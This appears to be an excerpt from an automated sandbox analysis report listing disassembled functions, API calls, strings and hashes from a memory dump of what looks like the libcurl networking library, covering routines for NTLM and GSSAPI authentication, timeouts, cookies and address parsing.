Opcode Fuzzy Hash: 5ab8ea67c4a4f8b582ae2405d261572ed707b292bd7a325f2860dc30ac8f0ed2
Instruction Fuzzy Hash: 7C316170B4835CAEEF20CA688C49F9B7BB8AB47704F1100D9B54D67381C6749E849F62

Function 6B916410 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 343COMMON

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 6B9165CA
htonl.WS2_32(?), ref: 6B916626

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

Strings

GSSAPI handshake failure (invalid security data), xrefs: 6B916583
GSSAPI handshake failure (empty security message), xrefs: 6B916561, 6B91681F
GSSAPI handshake failure (invalid security layer), xrefs: 6B9165BA

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: htonl$curl_msnprintfcurl_mvsnprintf
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 3222853418-242323837
Opcode ID: 294a2cdd1afef918a1a4d19a3ffe38aa4665b158d9a4289c50b14cafbfec87db
Instruction ID: bb8c206ab6d80a2c74fbb3f52cf785744c43331b719e355f2d5e343ebadb6bfc
Opcode Fuzzy Hash: 294a2cdd1afef918a1a4d19a3ffe38aa4665b158d9a4289c50b14cafbfec87db
Instruction Fuzzy Hash: A8D15BB6D04228EFCF10DFA8D845B9DBBB8FF0A315F1041A9E809A7251DB39D915DB60

Function 6B8F88F0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 338COMMON

Download Yara Rule

Strings

Operation timed out after %I64d milliseconds with %I64d out of %I64d bytes received, xrefs: 6B8F8A9F
Connection timed out after %I64d milliseconds, xrefs: 6B8F8A47
Operation timed out after %I64d milliseconds with %I64d bytes received, xrefs: 6B8F8AD1
Resolving timed out after %I64d milliseconds, xrefs: 6B8F8A12

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf
String ID: Connection timed out after %I64d milliseconds$Operation timed out after %I64d milliseconds with %I64d bytes received$Operation timed out after %I64d milliseconds with %I64d out of %I64d bytes received$Resolving timed out after %I64d milliseconds
API String ID: 3418963191-3898356422
Opcode ID: b73d54a893f2023418bff342c8cfd9930ef54d950dd56330251015528e2fe850
Instruction ID: c4a989cc5178861f0827c81aac35c08c24930bce6cb07f4fb80f8ce30c43f13b
Opcode Fuzzy Hash: b73d54a893f2023418bff342c8cfd9930ef54d950dd56330251015528e2fe850
Instruction Fuzzy Hash: 4AC13970A006049FE7109F3DCC42FAB77E8EF45358F00499DE8599B252D739E986C7A2

Function 6B920584 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6B920324,6B91E939,6B91E49A,?,6B91E6B7,?,00000001,?,?,00000001,?,6B94E298,0000000C,6B91E7AB), ref: 6B920592
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6B9205A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6B9205B9
SetLastError.KERNEL32(00000000,6B91E6B7,?,00000001,?,?,00000001,?,6B94E298,0000000C,6B91E7AB,?,00000001,?), ref: 6B92060B

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: be4e74862ce736eb44082f3ba373571857ed21968a3f797a4728826249446e2b
Instruction ID: e75f3b85cadc5c27ae5e8e2ee120ebd8a2341ad5e1ea771fe5259411c66cedc2
Opcode Fuzzy Hash: be4e74862ce736eb44082f3ba373571857ed21968a3f797a4728826249446e2b
Instruction Fuzzy Hash: 8F012833D6D2116FD71526756CA595B3BA8EB26BBCB2003B9F510540D8EF3AC8005684

Function 6B8D95D0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 253COMMON

Download Yara Rule

Strings

../, xrefs: 6B8D967F
/.., xrefs: 6B8D9724
/./, xrefs: 6B8D969B
/../, xrefs: 6B8D96F5

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: ../$/..$/../$/./
API String ID: 0-456519384
Opcode ID: 79b10fdf95fccf1a41efd1cc37e2a4d873453d4f0c733adaf4e3e99863c8ed3a
Instruction ID: 421b4036b0074d7fa564b4587091038331076e70abe10538e868866d17773701
Opcode Fuzzy Hash: 79b10fdf95fccf1a41efd1cc37e2a4d873453d4f0c733adaf4e3e99863c8ed3a
Instruction Fuzzy Hash: A8710D66E4C195DAD7110E38A8B57A27FB69F53358F9809E7C9898B203F72FC409C361

Function 6B8D62C0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Set-Cookie:,00000000,0000000B,?,?,?,?,?,?,?), ref: 6B8D6449
curl_slist_free_all.LIBCURL(?), ref: 6B8D64F5

Strings

none, xrefs: 6B8D632D, 6B8D6335
Set-Cookie:, xrefs: 6B8D6444
ignoring failed cookie_init for %s, xrefs: 6B8D6382

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_slist_free_allcurl_strnequal
String ID: Set-Cookie:$ignoring failed cookie_init for %s$none
API String ID: 2653667558-4095489131
Opcode ID: e9d8370197b4576145c030739bb117e610213429682889d488d9707b4d7fc510
Instruction ID: 8c7f7df9af04f87317220dbbc69e84baee29eb588548e0a4e2f2fc1e587394c5
Opcode Fuzzy Hash: e9d8370197b4576145c030739bb117e610213429682889d488d9707b4d7fc510
Instruction Fuzzy Hash: 886156B5D04358ABEB018F748C42BAA7B755F1670CF0848EAED486B343EB7AD505C7A1

Function 6B8EE0E0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%sAuthorization: NTLM %s,Proxy-,00000000,?,?,?,?,?,?,00000000,?), ref: 6B8EE253

Strings

HTTP, xrefs: 6B8EE0EF, 6B8EE20B
Proxy-, xrefs: 6B8EE245, 6B8EE24D, 6B8EE2E3, 6B8EE2EB
%sAuthorization: NTLM %s, xrefs: 6B8EE24E, 6B8EE2EC

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf
String ID: %sAuthorization: NTLM %s$HTTP$Proxy-
API String ID: 3307269620-3667642693
Opcode ID: 6fdc2434185ac1002988a8f5d1cbb33ff30dec61ca04e154e3755b986ef15f52
Instruction ID: dc67b02d4a7bb9a939938198ec7fc8d06fb28bb0c8040d451d3862d127bf5738
Opcode Fuzzy Hash: 6fdc2434185ac1002988a8f5d1cbb33ff30dec61ca04e154e3755b986ef15f52
Instruction Fuzzy Hash: D8713C75A00619EFDB51CFA8C841BAEBBF5FB4A315F0045AAE804E7210D375AE50DFA0

Function 6B8E43E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 170COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8E44EA

Strings

Invalid IPv6 address format, xrefs: 6B8E44D7
No valid port number in connect to host string (%s), xrefs: 6B8E452E
Please URL encode %% as %%25, see RFC 6874., xrefs: 6B8E447B
%25, xrefs: 6B8E446A

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: %25$Invalid IPv6 address format$No valid port number in connect to host string (%s)$Please URL encode %% as %%25, see RFC 6874.
API String ID: 601868998-2404041592
Opcode ID: 292a7a6ec1b204848c9c76ede7462d948fae4c6d7ee76bb4501a1735dcf798a0
Instruction ID: d2cd9f64c424bb14a5e5d6f58aef076b64c55e6e54a85b74b9a77aa19a1aff0e
Opcode Fuzzy Hash: 292a7a6ec1b204848c9c76ede7462d948fae4c6d7ee76bb4501a1735dcf798a0
Instruction Fuzzy Hash: 095137B5A492546AEB114E38AC117AE3BA59F8331CF0C09F5ECAC87241E73DC55386B2

Function 6B8E4590 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 161COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%s%s%s,6B93D4D4,?,6B93D4D0,?,00000000,00000000,?,?,6B8E308E,?,00000000,?), ref: 6B8E4603
___from_strstr_to_strchr.LIBCMT ref: 6B8E4663

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

Strings

Connecting to hostname: %s, xrefs: 6B8E46D5
Connecting to port: %d, xrefs: 6B8E4716
%s%s%s, xrefs: 6B8E45FE

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchrcurl_maprintfcurl_msnprintfcurl_mvsnprintf
String ID: %s%s%s$Connecting to hostname: %s$Connecting to port: %d
API String ID: 3946109057-1840313707
Opcode ID: 9bca81e3b1aaa5adbb65d0a9a54ea2ecd45501c223a8f6cb78d6b29f6c09ae06
Instruction ID: 6aec00bb2c67524ee0d73a3d156eeaa0c00da4bf28e6766e7c261caae7325d4c
Opcode Fuzzy Hash: 9bca81e3b1aaa5adbb65d0a9a54ea2ecd45501c223a8f6cb78d6b29f6c09ae06
Instruction Fuzzy Hash: 3351D675D05618AFDB018F68C84069E7BB8EF87314F0845A5EC6CAB342D7789A018BF1

Function 6B8EDFD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(NTLM,6B8EB6E6,00000004,00000DD0,?,?,?,6B8EB6E6,?,?,?,?,?,?,00000000,?), ref: 6B8EE00B

Strings

NTLM, xrefs: 6B8EE003
NTLM auth restarted, xrefs: 6B8EE040
NTLM handshake rejected, xrefs: 6B8EE09B
NTLM handshake failure (internal error), xrefs: 6B8EE0C5

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: NTLM$NTLM auth restarted$NTLM handshake failure (internal error)$NTLM handshake rejected
API String ID: 482932555-2258391893
Opcode ID: 2c9a02d89f49a812ca40a75f805383508c25966e4a3de9ff475dd1bdea028030
Instruction ID: 972ef69bceb89d7b186979da053386976bb5f94421d155df2dc1a8b90e634bc6
Opcode Fuzzy Hash: 2c9a02d89f49a812ca40a75f805383508c25966e4a3de9ff475dd1bdea028030
Instruction Fuzzy Hash: B7214676A102152BEB005E78FC41B9A7BA9EF8236DF104862EC58C7102E73AE525C7B0

Function 6B92C4C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6B92C475,?,?,6B92C43D,?,00000000,?), ref: 6B92C4D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6B92C4EB
FreeLibrary.KERNEL32(00000000,?,?,6B92C475,?,?,6B92C43D,?,00000000,?), ref: 6B92C50E

Strings

mscoree.dll, xrefs: 6B92C4D1
CorExitProcess, xrefs: 6B92C4E3

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a9f05af97df452de3075437b4a7383406e32c79c80a7fe582bcc9ecdcee8538f
Instruction ID: bfeb4f5150cd86e171adb5982f753a504bc1793e41dfa6fa9910532b79ad38bd
Opcode Fuzzy Hash: a9f05af97df452de3075437b4a7383406e32c79c80a7fe582bcc9ecdcee8538f
Instruction Fuzzy Hash: EEF01C31919518FBDF11AB91CA09F9E7F78EB46759F1041A4A811A2151DB78CF01DBA0

Function 6B935E4D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6B935E65

Part of subcall function 6B92F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0), ref: 6B92F800
Part of subcall function 6B92F7EA: GetLastError.KERNEL32(6B9538A0,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0,6B9538A0), ref: 6B92F812

_free.LIBCMT ref: 6B935E77
_free.LIBCMT ref: 6B935E89
_free.LIBCMT ref: 6B935E9B
_free.LIBCMT ref: 6B935EAD

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1cac679f4033d945714b89cf5a2628f07fc0f52683818181ae2701e1a1ad92eb
Instruction ID: 3d4bf3d1a78bb7e3bf992c9917b4fae5daf22418eda8b30497bbf809d35ba1d0
Opcode Fuzzy Hash: 1cac679f4033d945714b89cf5a2628f07fc0f52683818181ae2701e1a1ad92eb
Instruction Fuzzy Hash: D7F06D72D18614BBCA24DE78F1D2D1F3BEDBB1A6183600C5AF159D7500CB38F8808AA4

Function 6B8D5C60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 335COMMON

Download Yara Rule

APIs

Part of subcall function 6B8D6970: inet_pton.WS2_32(00000002,?,?), ref: 6B8D699A
Part of subcall function 6B8D6970: inet_pton.WS2_32(00000017,?,?), ref: 6B8D69AB

inet_pton.WS2_32(00000002,?,?), ref: 6B8D5CC3
inet_pton.WS2_32(00000017,?,?), ref: 6B8D5CD2
___from_strstr_to_strchr.LIBCMT ref: 6B8D5D8E

Strings

/, xrefs: 6B8D5DAD

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: inet_pton$___from_strstr_to_strchr
String ID: /
API String ID: 1475684856-2043925204
Opcode ID: 3d5302548053694662536978fe5a0bc3e41919eb6b8140ee09fffe3de28ff7fa
Instruction ID: 0863425ba2cf7afc210b51e88719daf7dea5650f7bd741d7ede3c10b487223fb
Opcode Fuzzy Hash: 3d5302548053694662536978fe5a0bc3e41919eb6b8140ee09fffe3de28ff7fa
Instruction Fuzzy Hash: 5CC1B0B1A047469BDB118F78C944BEAB7F4EF06204F0409ABED55DB201EB39E514CBB1

Function 6B8DCD00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,6B8DD060,?,?,6B8DBEF5), ref: 6B8DCE4D

Strings

FTP response aborted due to select/poll error: %d, xrefs: 6B8DCE54
We got a 421 - timeout!, xrefs: 6B8DCE70
FTP response timeout, xrefs: 6B8DCE98

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast
String ID: FTP response aborted due to select/poll error: %d$FTP response timeout$We got a 421 - timeout!
API String ID: 1452528299-2064316097
Opcode ID: 2c14cbdc706554e3ceef309fb548a2796dbb130b96b6167bfcaf8bf8e44ab6bc
Instruction ID: cbef2ec5ae57f160c529e264f82f5844e3385526e6ba6da2e80b14bcb0988321
Opcode Fuzzy Hash: 2c14cbdc706554e3ceef309fb548a2796dbb130b96b6167bfcaf8bf8e44ab6bc
Instruction Fuzzy Hash: 8C51A676E002099FDB108F69DC4079EBBB5FF45329F100ABAE818D7292E7399951CB91

Function 6B91D900 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

CURL_SSL_BACKEND, xrefs: 6B91D9BA

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: CURL_SSL_BACKEND
API String ID: 0-3552431867
Opcode ID: 3e4bab1be43fdc254543e45adc9b90c080cf8da3418dce3a8b34b35533b08e8d
Instruction ID: ae2f0453f7cbddaa71c81f049b31ca91746ced70315f8ab06d52058e09c5e83a
Opcode Fuzzy Hash: 3e4bab1be43fdc254543e45adc9b90c080cf8da3418dce3a8b34b35533b08e8d
Instruction Fuzzy Hash: A131B87768D30DABDF04CF64E841A1677ACAF41759F4444B9E809CB312E739D842D791

Function 6B8DCB00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 101networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32(BB830100,?,?), ref: 6B8DCB43
accept.WS2_32(?,?,00000080), ref: 6B8DCB6B

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

Part of subcall function 6B8FA660: ioctlsocket.WS2_32(00000000,8004667E,6B8D4554), ref: 6B8FA67A

Strings

Connection accepted from server, xrefs: 6B8DCBAB
Error accept()ing server connect, xrefs: 6B8DCB87

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: acceptcurl_msnprintfcurl_mvsnprintfgetsocknameioctlsocket
String ID: Connection accepted from server$Error accept()ing server connect
API String ID: 1634289926-2331703088
Opcode ID: 5dc891ef44e3982339c3be20ab4294e51bb84fe210e499b38246e5144089bacb
Instruction ID: 7e9ab2e2c16fe3a73ecb2cbf8d8b47f9b6c5e344eff64f43e2e8d8439606b070
Opcode Fuzzy Hash: 5dc891ef44e3982339c3be20ab4294e51bb84fe210e499b38246e5144089bacb
Instruction Fuzzy Hash: E131FC75A00118ABDB10DF38DC81BEEB778EF45318F0046A6FD5DA7281EF3999548BA0

Function 6B9006B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

Strings

..., xrefs: 6B900724
..., xrefs: 6B900718

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintfcurl_mvsnprintf
String ID: ...$...
API String ID: 4251218765-2253869979
Opcode ID: 63a942a8eba840c97ed57ecfc0dd70d463dd1137c30c492116e72586c01bc0b8
Instruction ID: 1ae47645b2fac7bf7fe28a5483718422c03cbc467b2bec2899520efb41daebfc
Opcode Fuzzy Hash: 63a942a8eba840c97ed57ecfc0dd70d463dd1137c30c492116e72586c01bc0b8
Instruction Fuzzy Hash: F311B479E0420CAADF05CE24DC41BF977A9EB42308F0485DDD89497251DA7AE64A8BD1

Function 6B91DA40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

curl_getenv.LIBCURL(CURL_SSL_BACKEND,?,?,?,6B91CB27,00000000,6B8E692E), ref: 6B91DA73

Strings

CURL_SSL_BACKEND, xrefs: 6B91DA6E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_getenv
String ID: CURL_SSL_BACKEND
API String ID: 2452071183-3552431867
Opcode ID: 41b0fe33c2cbb6dacb99dfe08acd4cba1d4a6e4e4eee996ada4ebeda0dff6255
Instruction ID: a82c91a71caac58b5e7ae3f7057532c2c6d14af2a7bb8b2c565ee32f78be51ba
Opcode Fuzzy Hash: 41b0fe33c2cbb6dacb99dfe08acd4cba1d4a6e4e4eee996ada4ebeda0dff6255
Instruction Fuzzy Hash: A101C43B68D20DABDB08DBA4A941B1677A8AF82759F440479D809C7320E739D483D792

